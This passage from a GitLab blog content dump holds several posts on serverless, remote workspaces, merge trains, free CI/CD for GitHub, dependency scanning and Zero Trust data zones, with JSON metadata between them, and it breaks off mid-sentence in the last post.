serverless itself that could introduce vulnerabilities into the system. The problem is especially true for serverless applications built on top of microservices, with independent pieces of software interacting through numerous APIs. Gartner warns that [APIs will become the major source of data breaches by 2022](https://www.gartner.com/doc/3834704/build-effective-api-security-strategy).\n\n### Unpredictable costs\n\nHow can we list costs as both a pro and a con? That’s mainly due to the elasticity serverless offers. Since everything is event-triggered, rather than paid up front, elasticity becomes a double-edged sword: You’re not paying for cloud usage you don’t need, but it being so easy to use means you may end up using more.\n\nFor another real-world example of this concept in action, let’s examine ketchup, mainly the introduction of the plastic squeeze bottle.\n\nHeinz ketchup had been served in the iconic glass bottles we all know and love since 1890, but in 1983 the Heinz corporation unveiled the squeezable plastic bottle to consumers. This was heralded as a huge innovation – consumers could squeeze more precisely, the bottles were unbreakable which reduced losses in shipment, and the ergonomic design made it perfect for hands of all sizes. After the introduction of the new squeezable bottle, [ketchup sales went up by 3.7% from the prior year](https://www.npr.org/sections/thesalt/2014/04/29/306911004/whats-the-secret-to-pouring-ketchup-know-your-physics). Why? Now that ketchup could be dispensed more easily, people used a lot more of it. Instead of tapping on a glass bottle hoping for a drop, the ketchup cup runneth over.\n\nWith serverless being so easy to use, it’s best to assume that developers will use it more than you expect.\n\n## Where are we on our serverless journey?\n\nSo much of the literature about serverless comes from the cloud providers themselves, so of course it focuses on the most idealized vision of what serverless can be. As a result, those in the ops community felt like they were being forced out, and organizations were too busy paying attention to the benefits to see the potential downsides.\n\nServerless opens up a lot of opportunities in DevOps, and offers a unique solution for many use cases. Does this mean that sysadmins everywhere will soon be out of a job? Probably not. Serverless is just another tool in the toolbox, and at GitLab we’re exploring how to help users leverage Knative and Kubernetes to define and manage serverless functions in GitLab. We’re also looking into how we can be even more multi-faceted. Some users want to work with a Kubernetes cluster, some want to push a serverless function into AWS Lambda. We can already help with monoliths and microservices, and we’re actively working on supporting serverless as well.\n\nInterested in joining the conversation for this category? Please join us in our [public epic](https://gitlab.com/groups/gitlab-org/-/epics/155) where we discuss this topic and we can answer any questions you might have. Everyone can contribute.\n\nPhoto by [Tomasz Frankowski](https://unsplash.com/@sunlifter?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[2509,754,4144],{"slug":27432,"featured":6,"template":678},"is-serverless-the-end-of-ops","content:en-us:blog:is-serverless-the-end-of-ops.yml","Is Serverless The End Of Ops","en-us/blog/is-serverless-the-end-of-ops.yml","en-us/blog/is-serverless-the-end-of-ops",{"_path":27438,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27439,"content":27445,"config":27449,"_id":27451,"_type":16,"title":27452,"_source":17,"_file":27453,"_stem":27454,"_extension":20},"/en-us/blog/not-everyone-has-a-home-office",{"title":27440,"description":27441,"ogTitle":27440,"ogDescription":27441,"noIndex":6,"ogImage":27442,"ogUrl":27443,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27443,"schema":27444},"Coworking home offices, working on the go - GitLab on remote work","GitLab team members share how they make their unique workspaces work for them, and see how they could work for you too!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680818/Blog/Hero%20Images/homeofficecover2.jpg","https://about.gitlab.com/blog/not-everyone-has-a-home-office","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Coworking home offices, working on the go - GitLab on remote work\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-09-12\",\n      }",{"title":27440,"description":27441,"authors":27446,"heroImage":27442,"date":27428,"body":27447,"category":6634,"tags":27448},[17272],"\n\n_At GitLab, our team doesn’t wake up at the same time and commute the same roads to sit in the same office. In fact, some of our team members don’t have an office at all! As a globally distributed company with an all-remote workforce, we have an exceptionally diverse set of team members spread across six continents. In this series, we explore how GitLab team members use the autonomy our company affords them to create remote workspaces that suit their lifestyle and cater to their hierarchy of needs: whether that involves creating a cozy and personalized home office space, or diving into the unknown by working while traveling._\n\n\nIn my first job out of college as a reporter, I worked in a tiny office, which was actually a converted closet in the far back corner of the suburban office building. It was so cold that I had blankets, sweaters, a hot water kettle, and a space heater that hummed even in the middle of the blistering summer. Fast-forward past working at tiny desks in an elementary school classroom, a shared desk scenario in a big San Francisco office building (my snow parka stayed with me at the office), a dubious apartment-turned-company-office setup to today: where I work from a home office in [Oakland, California](https://en.wikipedia.org/wiki/Oakland,_California) and control my own thermostat. Best of all, I get to work alongside my longtime colleague and frequent video call interrupter, [Milly](/company/team-pets/#154-milly).\n\nLike me, organic search manager [Shane Rice](/company/team/#shanerice) works primarily from a remote home office, but unlike me he likes to keep his office on the cool side, in terms of temperature and decor.\n\n“Living in [Florida](https://en.wikipedia.org/wiki/Pensacola,_Florida), I put a lot of thought into keeping my office comfortable. When we converted the building from a shed, we added insulation in the ceiling and walls to save energy and help keep the temperature cozy as I work,” says Shane. “I use a wall-mounted AC during the summer and a space heater during the winter.”\n\nAnyone who has been on a Zoom call with Shane will remember his eye-catching decor, and the most recent addition to his family and the GitLab pets cohort, [Hendrix](https://grabs.shanerice.com/lcFp8n).\n\n![shanerice](https://about.gitlab.com/images/blogimages/home-office/view_from_desk.jpg){: .shadow.small.center}\n\n“This space is all about the things I love. I’ve got a bulletin board with memories, mostly from my kids. I save their drawings and cards and pin them up there,” says Shane. “The rest of the walls have posters and toys I've collected over the years. I framed my posters to show up on my video calls, and they're a great conversation starter when I'm meeting someone for the first time.”\n\n![stickers](https://about.gitlab.com/images/blogimages/home-office/door.jpg){: .shadow.small.center}\n\"One of my favorite things to get when I travel for work are stickers, but I hate to use them on my laptop because I know I won’t use it forever,\" says Shane. \"Instead of saving my stickers, I decided to put them on my office door. Now I can take them with us if we ever move.\"\n{: .note.text-center}\n\nBut not everyone at GitLab works from a home office. In fact, we have many team members that worked at home for a while, but now use a shared workplace, like [Alessio Caiazza](/company/team/#nolith), senior backend Infrastructure engineer.\n\nAlessio, who is based in [Florence, Italy](https://en.wikipedia.org/wiki/Florence), worked from home during his wife’s pregnancy and for the first six months after his son was born. “I loved that period, staying home in a quiet place, with my standing desk and multi-monitor setup,” Alessio said. “Being able to take care of my wife first, and my son later on. I'll always be grateful to GitLab for this opportunity.”\n\nBut [working from home with children can be challenging](/blog/working-remotely-with-children-at-home/) and isn't the best option for everyone. After a while, Alessio realized he needed some time and space to transition from dad mode to engineer mode, and moved his setup to a coworking space. “I used to say that working is the thing that happens between changing diapers. Also having less time for social interaction forced me to search for other adults during working hours. So now I have the best of the two worlds, I'm a happy dad and a happy engineer.”\n\n![florence](https://about.gitlab.com/images/blogimages/home-office/alessio.JPG){: .shadow.small.center}\nWhile Alessio has a nice setup in his usual coworking space, on this day he was driven outside into the summer heat after the AC failed in his building, making it too hot to handle.\n{: .note.text-center}\n\n## On the road with GitLab\n\nWhile many GitLab team members work from an consistent office setup, we have a subset of team members that have surrendered a cozy home office and sleek coworking remote space to work from the open road.\n\n[Nicole Schwartz](/company/team/#nicoleschwartz), product manager at GitLab, is embarking on a zig-zagging road trip across the United States, visiting GitLab team members and speaking at conferences. You might expect that life on the road means unpredictable working conditions, but Nicole has discovered that in most cases there is a coworking space or cafe near where she’s located for the day.\n\n![hotel](https://about.gitlab.com/images/blogimages/home-office/nicole_hotel.jpg){: .shadow.small.center}\nMost hotel rooms have WiFi, so Nicole typically starts her mornings in the hotel before moving on to a local cafe.\n{: .note.text-center}\n\n“I try to go for a local cafe if Yelp says they have WiFi, but in a pinch I’ll go to Panera, Starbucks, McDonalds,” Nicole says. “Once I had to drive over an hour to find a Starbucks! There have been occasions I have had to tether from my phone (GoogleFi) or call in on my phone; neither option is ideal.”\n\nWhen you’re highly mobile, the scenery changes quickly and the working conditions aren't always glamorous. While writing in about her experience, Nicole was sitting on a pretty uncomfortable chair with a tiny desk at a local coffee shop in Pittsburg, Kansas. She wasn’t able to bring her [laptop stand](https://www.therooststand.com/) with her because there wasn’t room in her backpack, and there was some teenagers chatting and a baby crying in the background: “Eh, it happens,” she writes.\n\n### The key to working on the road: flexibility and resourcefulness\n\n[Kerri Miller](/company/team/#kerrizor), [Create](/stages-devops-lifecycle/create/) backend engineer, spends about 40% of her time away from her homebase in Seattle, Washington, adventuring across North America by motorcycle. Kerri's work schedule varies depending upon the conditions. Generally, Kerri tends to wake early and work for a few hours where she's lodging before heading out on her motorcycle, wrapping up any remaining tasks in the evening. If she's someplace hot, she'll wake early to travel and then work in coffee shops or public libraries in the afternoon.\n\nOne of Kerri's favorite workplace setups was in a small town where the only publicly available WiFi was at the local bakery/coffee shop.\n\n\"Recognizing this fact, they offered a 'WiFi only' option on their menu, where for $5 you’d get unlimited internet access for the day, and access to a small RV to the side where they had set up several desks and tables and comfy chairs for the community,\" Kerri says. \"Large windows overlooked a prairie filled with sheep.\"\n\n![morning sheep](https://about.gitlab.com/images/blogimages/home-office/morning_sheep.jpg){: .shadow.small.center}\n\"You can't get this view from WeWork!\" says Kerri.\n{: .note.text-center}\n\nBoth Kerri and Nicole note that the trick to having a successful cross-country journey is a broad and distributed network of friends and colleagues. Kerri generally shares her travel plans in advance on the relevant GitLab Slack channels and on Twitter to see who she might visit on the [next leg of her journey](http://motozor.com/). Similarly, Nicole has been using the [GitLab Visiting Grant](/handbook/incentives/#visiting-grant) and setting up coworking days with our colleagues across the United States.\n\nCurrently dispatching from the scenic backdrop of [Copper Harbor, Michigan](https://en.wikipedia.org/wiki/Copper_Harbor,_Michigan), serverless engineering manager [Nicholas Klick](/company/team/#nicholasklick) has been working from his backpack for the past seven years.\n\n![nicholasklick](https://about.gitlab.com/images/blogimages/home-office/nicholasklick.JPG){: .shadow.small.center}\nNicholas is always in search of good WiFi, bringing a Verizon MiFi as a backup.\n{: .note.text-center}\n\nThough he did grab a desk at a local coworking space where he spends two to three days a week, his spirit is free to roam while his career continues to grow working all-remote at GitLab.\n\n_In the second part of our series, we'll explore how some GitLab team members are going out of their comfort zone and integrating global travel into their workflows and augmenting their workplaces (and expectations) accordingly._\n\n[Cover photo](https://unsplash.com/photos/GaBDdA63GcQ) by [Roberto Nickson](https://unsplash.com/@rpnickson?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/home-office?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n\n",[676,3798],{"slug":27450,"featured":6,"template":678},"not-everyone-has-a-home-office","content:en-us:blog:not-everyone-has-a-home-office.yml","Not Everyone Has A Home Office","en-us/blog/not-everyone-has-a-home-office.yml","en-us/blog/not-everyone-has-a-home-office",{"_path":27456,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27457,"content":27463,"config":27470,"_id":27472,"_type":16,"title":27473,"_source":17,"_file":27474,"_stem":27475,"_extension":20},"/en-us/blog/how-to-avoid-broken-master-with-pipelines-for-merge-requests",{"title":27458,"description":27459,"ogTitle":27458,"ogDescription":27459,"noIndex":6,"ogImage":27460,"ogUrl":27461,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27461,"schema":27462},"How to prevent broken master with merge trains & pipelines","Do you still run pipelines on source branches? Let's start running them on merge commits!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678366/Blog/Hero%20Images/merge-train.jpg","https://about.gitlab.com/blog/how-to-avoid-broken-master-with-pipelines-for-merge-requests","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to avoid broken master with Pipelines for Merged Results and Merge Trains\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Shinya Maeda\"}],\n        \"datePublished\": \"2019-09-11\",\n      }",{"title":27464,"description":27459,"authors":27465,"heroImage":27460,"date":27467,"body":27468,"category":734,"tags":27469},"How to avoid broken master with Pipelines for Merged Results and Merge Trains",[27466],"Shinya Maeda","2019-09-11","\nBroken master. This can happen when CI pipelines run on the master branch (or default branch), but don't\npass all tests. A red cross mark is shown in the project's top page, signalling unstable source\ncode and eroding the trust of users. Broken master could also be a blocker against\na continuous deployment/delivery stream line in which deployment jobs\nare executed after the test stage passed in master pipelines.\n\nAll maintainers want to avoid this critical state,\nbut how can we prevent it?\n\n## Let's look at how master is broken in the first place\n\nLet's say you're one of the maintainers of a project. It's a busy repository with hundreds of merges\nto master every day. A developer assigns a merge request (MR) to you. The MR passed all of the tests in the CI pipelines,\nhas been reviewed thoroughly by code reviewers, all open discussions have been resolved, and the MR has been\napproved by the relevant [code owners](https://docs.gitlab.com/ee/user/project/codeowners/).\n\nYou would press the \"Merge\" button without a second thought, but how are you confident that\na pipeline running on master branch after the merge will pass all tests again?\nIf your answer is \"It might break the master branch,\" then\nyou're right. This could happen, for example, if master has advanced by some\nnew commits, and one of them changed a lint rule. The MR in question\nstill contains an invalid coding style, but the latest pipeline on the MR passes,\nbecause the feature branch is based on an old version of master.\n\nEnter two new GitLab features: [Pipelines for Merged Results](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/index.html)\nand [Merge Trains](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.html).\nLet me show you how they works and how to enable them.\n\n## How to continually run CI pipelines on the merge commit\n\nLet's break down what went wrong in the scenario above. Even though the pipeline on the\nmerge request passed all the tests, it ran on a source (feature) branch\nwhich could be based on an outdated version of master. In such a case,\nthe result of pipeline is considered as _untrusted_, because there may be a huge difference\nbetween an actual-and-future merge commit and the commit in question.\n\nAs a [boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions), developers can continually rebase their MR\non the latest master, but this is annoying and inefficient, given the speed of\ngrowth of the master branch.\nIt causes a lot of friction between developers and maintainers, slowing down the development cycle.\n\nTo address this problem, we introduced [Pipelines for Merged Results](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/index.html)\nin [GitLab 11.10](/releases/2019/04/22/gitlab-11-10-released/#pipelines-for-merged-results).\n\nSimply put, the main difference between pipelines for merged results and normal pipelines is that\n**pipelines run on merge commits, instead of source branches, before the actual merge happens**.\nThis merge commit is generated from the latest commits of target branch and\nsource branch and written in a temporary place (`refs/merge-requests/:iid/merge`).\nTherefore, we can run a pipeline on it without interfering with master.\n\nHere is a sample workflow with the above scenario:\n\n1. A developer pushes a new commit to a merge request.\n1. GitLab creates a merge commit from the HEAD of the source branch and HEAD of the target branch.\n   This merge commit is written in `refs/merge-requests/:iid/merge` and does not change commit history of master branch.\n1. GitLab creates a pipeline on the merge commit, but this pipeline fails because the latest master changed a lint rule.\n1. A maintainer sees a failed pipeline in the merge request.\n\nAs you can see, the maintainer was able to hold off merging the dangerous MR\nbecause the latest pipeline on the MR didn't pass. The feature actually saved\nmaster from a broken state.\n\nAs a bonus, this workflow freeds developers from continual\nrebasing of their merge requests.\nAll they need to do is develop features with [Pipelines for Merged Results](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/index.html).\nGitLab automatically creates an expected merge commit and validates the merge request prior to\nan actual merge.\n\n### How to get started with Pipelines for Merged Results\n\nYou can [start using this feature](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/index.html#enabling-pipelines-for-merged-results)\ntoday, with just two steps:\n\n1. Edit the `.gitlab-ci.yml` config file to enable [pipelines for merge requests / merge request pipelines](https://docs.gitlab.com/ee/ci/merge_request_pipelines/).\n1. Enable the \"Merge pipelines will try to validate the post-merge result prior to merging\" option at **Settings > General > Merge requests** in your project.\n\n**Note:** If the configurations in your `.gitlab-ci.yml` file are too complex, you might stumble at the first point.\nWe're currently working on [improving the usability of pipelines for merge requests / merge request pipelines](https://gitlab.com/gitlab-org/gitlab-ce/issues/60085).\nPlease leave your feedback in the issue if that's the case.\n\n## How to avoid race condition of concurrent merges\n\nWith [Pipelines for Merged Results](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/index.html),\nwe can confidently say that MRs are continually tested against the latest master branch.\nHowever, what if multiple MRs have been merged at the same time?\nFor example:\n\n- There are two merge requests: MR-1 and MR-2. The latest pipelines have already passed in both MRs.\n- John (maintainer) and Cathy (maintainer) merge MR-1 and MR-2 at the same time, respectively.\n\nLater on, it turns out that MR-2 contains a coding offence which has just been introduced by MR-1.\nMaintainers hit merge without knowing that, and\nneedless to say, this will result in broken master. How can we handle this race condition properly?\n\nIn [GitLab 12.1](/releases/2019/07/22/gitlab-12-1-released/#parallel-execution-strategy-for-merge-trains), we introduced a new feature,\n[Merge Trains](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/).\nBasically, a Merge Train is a queueing system that allows you to avoid this kind\nof race condition.\nAll you need to do is add merge requests to the merge train, and it\nhandles the rest of the work for you.\nIt creates merge commits according\nto the sequence of merge requests and runs pipelines on the expected merge commits.\nFor example, John and Cathy could have avoided broken master with the following workflow:\n\n1. John and Cathy add MR-1 and MR-2 to their [Merge Train](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/), respectively.\n1. In MR-1, the Merge Train creates an expected merge commit from HEAD of the source branch and HEAD of the target branch.\n   It creates a pipeline on the merge commit.\n1. In MR-2, the Merge Train creates an expected merge commit from HEAD of the source branch and the expected merge commit of MR-1.\n   It creates a pipeline on the merge commit.\n1. The pipeline in MR-1 passes all tests and merged into master branch.\n1. The pipeline in MR-2 fails because it violates a lint check which was changed by MR-1. MR-2 is dropped from the Merge Train.\n1. Developer revisits MR-2, fixes the coding offence, and asks Cathy to add it to the Merge Train again.\n\nAs you can see, the Merge Train successfully rejected MR-2 before it could break the master\nbranch. With this workflow, maintainers can feel more confident when they\ndecide to merge something. Also, this doesn't slow down development lifecycle\nthat pipelines are built on optimistic assumption that, in the above case,\nthe pipeline in MR-1 and the pipeline in MR-2 **start almost simultaneously**.\nMR-2 builds a merge commit as if MR-1 has already been merged, so that maintainers\ndon't need to wait for long time until each pipeline finished. If one of the\npipelines failed, the problematic merge request is dropped from the merge train\nand the train will be reconstructed without it.\n\n### How to get started with Merge Trains\n\nYou can [start using Merge Train](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.html#how-to-add-a-merge-request-to-a-merge-train)\ntoday, if you've already enabled [Pipelines for merged results](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/index.html#enabling-pipelines-for-merged-results). Click [\"Start/Add merge train\" button](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.html#how-to-add-a-merge-request-to-a-merge-train) in merge requests.\n\n## A quick demonstration of Merge Trains\n\nHere is a demonstration video that explains the advantage of Merge Train feature.\nIn this video, we'll simulate the common problem in a workflow without\nMerge Trains, and later, we resolve the problem by enabling a Merge Train.\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/D4qCqXgZkHQ\" frameborder=\"0\" allowfullscreen=\"true\">\n\u003C/iframe>\n\u003C/figure>\n\n## Wrap up\n\nRunning pipelines on expected merge commits allows us to predict what will happen\nin the future and avoid broken master proactively. It soothes the headache of\nrelease managers and gives maintainers and developers more confidence that their code\nis reliable enough to be merged and shipped. In addition, Merge Trains allow you\nto merge things safely without slowing down the development cycle.\n\nGive this advanced CI/CD feature a try today!\n\nFor more information, check out [the documentation on merge trains](https://docs.gitlab.com/ee/ci/pipelines/merge_trains.html) and [pipelines for merge requests / merge request pipelines](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html).\n\nCover image by [Dan Roizer](https://unsplash.com/@danny159) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110,4144,1444,754],{"slug":27471,"featured":6,"template":678},"how-to-avoid-broken-master-with-pipelines-for-merge-requests","content:en-us:blog:how-to-avoid-broken-master-with-pipelines-for-merge-requests.yml","How To Avoid Broken Master With Pipelines For Merge Requests","en-us/blog/how-to-avoid-broken-master-with-pipelines-for-merge-requests.yml","en-us/blog/how-to-avoid-broken-master-with-pipelines-for-merge-requests",{"_path":27477,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27478,"content":27483,"config":27488,"_id":27490,"_type":16,"title":27491,"_source":17,"_file":27492,"_stem":27493,"_extension":20},"/en-us/blog/ci-cd-github-extended-again",{"title":27479,"description":27480,"ogTitle":27479,"ogDescription":27480,"noIndex":6,"ogImage":17364,"ogUrl":27481,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27481,"schema":27482},"We're extending free usage of CI/CD for GitHub for another six months!","Get another six months' use of CI/CD for GitHub on GitLab.com, free of charge.","https://about.gitlab.com/blog/ci-cd-github-extended-again","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're extending free usage of CI/CD for GitHub for another six months!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2019-09-09\",\n      }",{"title":27479,"description":27480,"authors":27484,"heroImage":17364,"date":27485,"body":27486,"category":299,"tags":27487},[16962],"2019-09-09","\n\n[CI/CD for GitHub](/solutions/github/) allows you to host your code on GitHub while taking advantage of GitLab for CI/CD. In fact, [CI/CD for external repos](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/) lets you use any Git repo as a host together with GitLab CI/CD.\n\nWhen we first released the ability to use GitLab CI/CD with other Git repositories we placed it into our [Premium tier](/pricing/premium/) for GitLab Self-Managed. Normally, features go into a corresponding pricing tier on GitLab.com but we believed this was a specific case where we should offer a feature for free on GitLab.com because of the amount of repos on GitHub.com. Not knowing how long we'd keep this pricing, we set a deadline of one year. When that time came, we extended for six months.\n\nToday, we are extending the deadline for using CI/CD for external repos, including CI/CD for GitHub again. Now you'll have until **Mar. 22, 2020** to use these capabilities with private repos (see below for open source) as a [Free or Bronze](/pricing/) user on GitLab.com. This feature will continue to be part of the [Premium tier](/pricing/premium/) for GitLab Self-Managed.\n\n## Always free for open source\n\nThis extension applies to private repos hosted on GitLab.com. As part of our commitment to open source, [public projects get all the features of Gold for free](/solutions/open-source/). GitLab CI/CD for GitHub works by automatically mirroring your repos to GitLab.com. As such, if you have a public project on GitHub, it will also be public on GitLab so you can always take advantage of GitLab CI/CD for public projects.\n\n## Why we're extending the offer\n\nFor a rationale on our extension see our previous blog post when we [first extended external CI/CD](/blog/six-more-months-ci-cd-github/). When it came to the current deadline we found that the reasoning still held true and [decided to extend again](https://gitlab.com/gitlab-org/gitlab-ee/issues/13065).\n\nAs always, we'd love your feedback in the comments below.\n",[110,4103,267,815],{"slug":27489,"featured":6,"template":678},"ci-cd-github-extended-again","content:en-us:blog:ci-cd-github-extended-again.yml","Ci Cd Github Extended Again","en-us/blog/ci-cd-github-extended-again.yml","en-us/blog/ci-cd-github-extended-again",{"_path":27495,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27496,"content":27502,"config":27506,"_id":27508,"_type":16,"title":27509,"_source":17,"_file":27510,"_stem":27511,"_extension":20},"/en-us/blog/software-dependencies-tech-debt",{"title":27497,"description":27498,"ogTitle":27497,"ogDescription":27498,"noIndex":6,"ogImage":27499,"ogUrl":27500,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27500,"schema":27501},"Don’t let your dependency-laden software become the next monolith","Keep your software development fast and efficient with dependency scanning and auto-remediation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678488/Blog/Hero%20Images/software-dependencies-monolith.jpg","https://about.gitlab.com/blog/software-dependencies-tech-debt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Don’t let your dependency-laden software become the next monolith\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-09-09\",\n      }",{"title":27497,"description":27498,"authors":27503,"heroImage":27499,"date":27485,"body":27504,"category":8943,"tags":27505},[22656],"\nDependencies are a great tool for developers: They save time, which saves money\nand helps meet the need for speed when developing. But with great dependencies\ncomes great responsibility because it’s easy to accumulate tech debt in the form\nof dependencies. What happens when you need to alter a line of code? Does it\nbreak your software? What is the cost of fixing a bug, updating dependencies,\nor adding a new module? Suddenly your software management starts to resemble the\nstruggles of a monolithic architecture, where changing one small piece can break\neverything.\n\n## Software dependencies are like bricks, but flammable\n\nEach module added to your software can be thought of like a brick: Small parts\nof a greater whole. But now imagine that those bricks are highly flammable. You\nhave a significant chance of catastrophe with the tiniest of sparks.\n\nThat spark could be a single code change, [deleted code like the LeftPad\nincident](https://www.businessinsider.com/npm-left-pad-controversy-explained-2016-3),\na corrupted library, a missed patch, or patch that forces updates to all your\nother dependencies. There’s also the issue of security flaws – when a bug is\nfound, the whole open source community is in the know, and that applies to\nhackers as well. Popular dependencies [can quickly become targets](https://www.aptible.com/blog/vulnerability-scanning-for-your-dependencies-why-and-how)\nas soon as the news of a patch is released. Another common risk of all third-party software and code are [zero-day attacks](https://www.csoonline.com/article/3284084/what-is-a-zero-day-a-powerful-but-fragile-weapon.html),\nwhen a previously unknown vulnerability is exploited by hackers before a patch\nor update is applied.\n\n## Software dependency scanning: Your firetruck dispatch\n\nDependency scanners have risen in popularity and breadth in recent years,\nproving themselves useful tools for incident prevention. Scanners generally\nprovide a list of all the dependencies within your code or app, along with a\nlist of all the known vulnerabilities within each dependency. Scans can be done\nmanually or automatically. Users can [set up scans that run automatically within GitLab](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), which is helpful for code that\nisn’t updated often.\n\nDependency scanners can also be used to look for redundancies within projects\nthat have been worked on or updated without a detailed changelog, or over a\nlong period of time. Simplifying your dependencies will reduce the risk of a\ncode change chain reaction, and will also reduce your attack surface.\n\n## Auto-remediation: The all-in-one fire prevention and firehose tool\n\n[Auto-remediation tools](/direction/secure/#auto-remediation)\ncan find vulnerabilities within your code, evaluate the scope of any problems,\nand propose a solution. Developers can even set up auto-remediation tools to\napply solutions under defined circumstances, shortening the time the vulnerability window\nis open to cyber assailants. Once that fix is automatically created, next it is\ntested. If it passes all the tests defined for your application, the fix is then\ndeployed to production.\n\nAuto-remediation tools can also help verify that changes made in dependency\nupdates didn’t break any parts of your application – kind of like making sure\nyou’ve turned off the stove before leaving the house.\n\n## Build your house by laying each brick with intention\n\nDependencies help simplify coding, but they add complexity when it comes to\nmanaging the bigger picture. So it is crucial to understand what\ndependencies you have, where you can simplify, and how your current and new\ndependencies will affect your software in the future. Take command of your\ndependencies with tools like dependency scanners and auto-remediation, and use\nthat information and experience to build future software with efficiency and\nintention.\n\nCover photo by [Grace Kadiman](https://unsplash.com/@gracekadiman?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\non [Unsplash](https://unsplash.com/search/photos/brick-laying?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[815,674],{"slug":27507,"featured":6,"template":678},"software-dependencies-tech-debt","content:en-us:blog:software-dependencies-tech-debt.yml","Software Dependencies Tech Debt","en-us/blog/software-dependencies-tech-debt.yml","en-us/blog/software-dependencies-tech-debt",{"_path":27513,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27514,"content":27520,"config":27526,"_id":27528,"_type":16,"title":27529,"_source":17,"_file":27530,"_stem":27531,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring",{"title":27515,"description":27516,"ogTitle":27515,"ogDescription":27516,"noIndex":6,"ogImage":27517,"ogUrl":27518,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27518,"schema":27519},"Zero Trust at GitLab: Data zones & authentication scoring","How we're defining and aligning data zones in our Zero Trust implementation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680808/Blog/Hero%20Images/fabio-oyXis2kALVg-unsplash.png","https://about.gitlab.com/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-09-06\",\n      }",{"title":27521,"description":27516,"authors":27522,"heroImage":27517,"date":27523,"body":27524,"category":674,"tags":27525},"Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring",[5362],"2019-09-06","\n\nUpdate: This is part 4 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next post: [Zero Trust at GitLab: Implementation challenges (and a few solutions)](/blog/zero-trust-at-gitlab-implementation-challenges/).\n{: .alert .alert-info .note}\n\n\nZero Trust is the practice of shifting access control from the perimeter of the organization to the individuals, the assets, and the endpoints. For GitLab, Zero Trust means that all devices trying to access an endpoint or asset within our GitLab environment will need to authenticate and be authorized. This is part four of a multi-part series.\n\n* Part one: [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)\n* Part two: [Zero Trust at GitLab: problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges/)\n* Part three: [Zero Trust at GitLab: The data classification and infrastructure challenge](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/)\n\n\nIn previous blog posts we’ve covered both the history of the whole Zero Trust Networking (ZTN) scenario, and some of the areas where we expect challenges to successful implementation. In this post we’ll discuss the concept of “data zones” as well as an “authentication scoring system.” The general concept of data zones is not new; it is an established part of a layered security approach where zones of trust are created around groups of data, usually on the same network segment or system. A few things to note:\n* Our data zone concept simply groups the data according to access controls available for a system when granular control is not possible.\n* Our authentication scoring system is intended to augment our ability to allow access.\n* We’ve set up all of our access based upon the team member’s identity and job description, but it should also include information about the device and even the geographic location of the team member (as we shall see later).\n\n## Defining data zones\nWe have previously defined the [classification of data](/handbook/security/data-classification-standard.html) to include RED, ORANGE, YELLOW, and GREEN. We’ve also touched on the concept of 